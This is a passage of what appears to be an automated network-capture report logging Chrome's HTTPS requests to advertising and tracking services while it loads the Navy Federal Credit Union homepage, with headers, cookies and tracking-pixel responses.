2024-05-24 22:46:04 UTC	807	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: guest_id_marketing=v1%3A171659076399483003; guest_id_ads=v1%3A171659076399483003; personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id=v1%3A171659076399483003
2024-05-24 22:46:04 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 09bf571e709c3def strict-transport-security: max-age=631138519 x-response-time: 73 x-connection-hash: f7a7281dd5200bc45e482fba33455710a8172898ea4d390cf7420ae02c1e3577 connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49962	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	974	OUT	GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:05 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 03ff9f4f201ab24c strict-transport-security: max-age=0 x-response-time: 82 x-connection-hash: a05452ab70d72e1a196e4e5de73a3b6052b87ed93305620e347a929117ea4d40 connection: close
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49967	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	797	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465&_li_chk=true&previous_uuid=70344332780144759af2802d8d6e72cf HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:04 UTC	615	IN	HTTP/1.1 303 See Other Date: Fri, 24 May 2024 22:46:04 GMT Content-Length: 0 Connection: close Location: https://i6.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465 Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:04 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49965	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	670	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:04 UTC	392	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: b37546edd01c0105 strict-transport-security: max-age=0 x-response-time: 6 x-connection-hash: 7d4dba03c6e65ed9860cb12eb572645910c55f91c1b602ebbfd8a87569802ae5 connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49969	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	952	OUT	GET /ns/__p2.gif?ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&chk=false&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2F&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2F&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=baVHflK5Bqtq5h2a&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=807351 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	576	IN	HTTP/1.1 302 Found Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 1 Content-Type: image/gif Location: https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&ona= X-Cloud-Trace-Context: 3ae4340bfefa291c03ce2103bfef1fc6 Date: Fri, 24 May 2024 22:46:04 GMT Server: Google Frontend Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49970	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	952	OUT	GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=false&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2F&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2F&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=t1tNOB2lKPpBSWiW&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=807351 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:05 UTC	576	IN	HTTP/1.1 302 Found Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 1 Content-Type: image/gif Location: https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=adfc6131-af7a-40bc-8471-a600370a4548&ona= X-Cloud-Trace-Context: 2c1d295aea217f8d3eb421c49a5ec65c Date: Fri, 24 May 2024 22:46:04 GMT Server: Google Frontend Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49956	35.204.89.238	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	609	OUT	GET /p?cid=463774&cb=sifi_att_20021453318._hp HTTP/1.1 Host: i.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45
2024-05-24 22:46:04 UTC	566	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:04 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: uid_syncd=true; path=/; expires=Fri, 31 May 2024 22:46:04 GMT; domain=.simpli.fi; secure Set-Cookie: uid_syncd_secure=true; path=/; expires=Fri, 31 May 2024 22:46:04 GMT; domain=.simpli.fi; samesite=none; secure Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2024-05-24 22:46:04 UTC	811	IN	Data Raw: 33 32 34 0d 0a 73 69 66 69 5f 61 74 74 5f 32 30 30 32 31 34 35 33 33 31 38 2e 5f 68 70 28 7b 22 70 69 78 65 6c 73 22 3a 5b 22 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 73 69 6d 70 6c 69 66 69 26 67 6f 6f 67 6c 65 5f 63 6d 26 67 6f 6f 67 6c 65 5f 73 63 22 2c 22 2f 2f 75 6d 2e 73 69 6d 70 6c 69 2e 66 69 2f 6f 78 5f 6d 61 74 63 68 22 2c 22 2f 2f 75 6d 2e 73 69 6d 70 6c 69 2e 66 69 2f 72 62 5f 6d 61 74 63 68 22 2c 22 2f 2f 75 6d 2e 73 69 6d 70 6c 69 2e 66 69 2f 61 6e 22 2c 22 2f 2f 75 6d 2e 73 69 6d 70 6c 69 2e 66 69 2f 73 70 6f 74 78 5f 6d 61 74 63 68 22 2c 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 64 73 65 72 76 69 63 65 73 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 63 6f 6e 76 65 72 73 Data Ascii: 324sifi_att_20021453318._hp({"pixels":["//cm.g.doubleclick.net/pixel?google_nid=simplifi&google_cm&google_sc","//um.simpli.fi/ox_match","//um.simpli.fi/rb_match","//um.simpli.fi/an","//um.simpli.fi/spotx_match","//www.googleadservices.com/pagead/convers
2024-05-24 22:46:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49971	3.90.71.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	359	OUT	GET /event/track HTTP/1.1 Host: events.api.boomtrain.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:05 UTC	292	IN	HTTP/1.1 400 Bad Request Date: Fri, 24 May 2024 22:46:05 GMT Content-Length: 20 Connection: close Server: nginx access-control-allow-origin: * access-control-allow-headers: X-Requested-With, Content-Type, Authorization, x-app-id access-control-allow-methods: GET, PUT, POST, DELETE
2024-05-24 22:46:05 UTC	20	IN	Data Raw: 62 73 69 6e 20 63 61 6e 6e 6f 74 20 62 65 20 65 6d 70 74 79 Data Ascii: bsin cannot be empty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49972	75.2.57.54	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	420	OUT	GET /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: p.tvpixel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sp=d6bf2da2-d013-4ae6-9c4d-f574b62e8eef
2024-05-24 22:46:05 UTC	466	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: image/gif Content-Length: 43 Connection: close Server: nginx Set-Cookie: sp=d6bf2da2-d013-4ae6-9c4d-f574b62e8eef; Expires=Sat, 24 May 2025 22:46:05 GMT; Domain=tvpixel.com; Path=/; SameSite=None; Secure Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 05 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49973	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	816	OUT	GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2F&pf= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:05 UTC	1574	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://secure.adnxs.com/bounce?%2Fseg%3Ft%3D1%26add%3D37387871%26ver%3D9%26userid%3D357c28c3-9efd-4e35-8e20-288ff8da4a1a%253A1716590758.313698%26pe%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%26pf%3D AN-X-Request-Uuid: 6eac19a6-d5a9-4594-8789-a05ddef9965d Set-Cookie: XANDR_PANID=-Ku_OzYo8XmfPqMqp0ugJWmV8OZMxLowgoDskFDWt8c_VywE2vybDavkhYg8dK7U8cGP1iBLph_kJZOHzTKcBnqKBqU_Iqbm9jOco39o59c.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3999824996912621983; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49974	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	1047	OUT	GET /bounce?%2Fseg%3Ft%3D1%26add%3D37387871%26ver%3D9%26userid%3D357c28c3-9efd-4e35-8e20-288ff8da4a1a%253A1716590758.313698%26pe%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%26pf%3D HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; receive-cookie-deprecation=1; uuid2=6116765264039870456
2024-05-24 22:46:05 UTC	1552	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: e9f226af-1a74-4d66-ab94-f755d88b5d9e Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E?h?=+XZ!@wnf-Te9(>wL5L!!'g8$t[iH; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49975	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	1533	OUT	GET /seg?add=27742454&t=1&ver=9&pe=https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmT-vKup4YDFd50QQIdxWULrA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_0%3Bord%3D8505920471743%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D843276876%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B%7Eoref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F&pf=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; receive-cookie-deprecation=1; uuid2=6116765264039870456
2024-05-24 22:46:05 UTC	1552	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: c16bed57-5747-4d34-88c6-4bc13f75720f Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E?h?=+XZ!@wnf-Te9(>wL5L!!'g8$t[iH; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:05 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49976	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
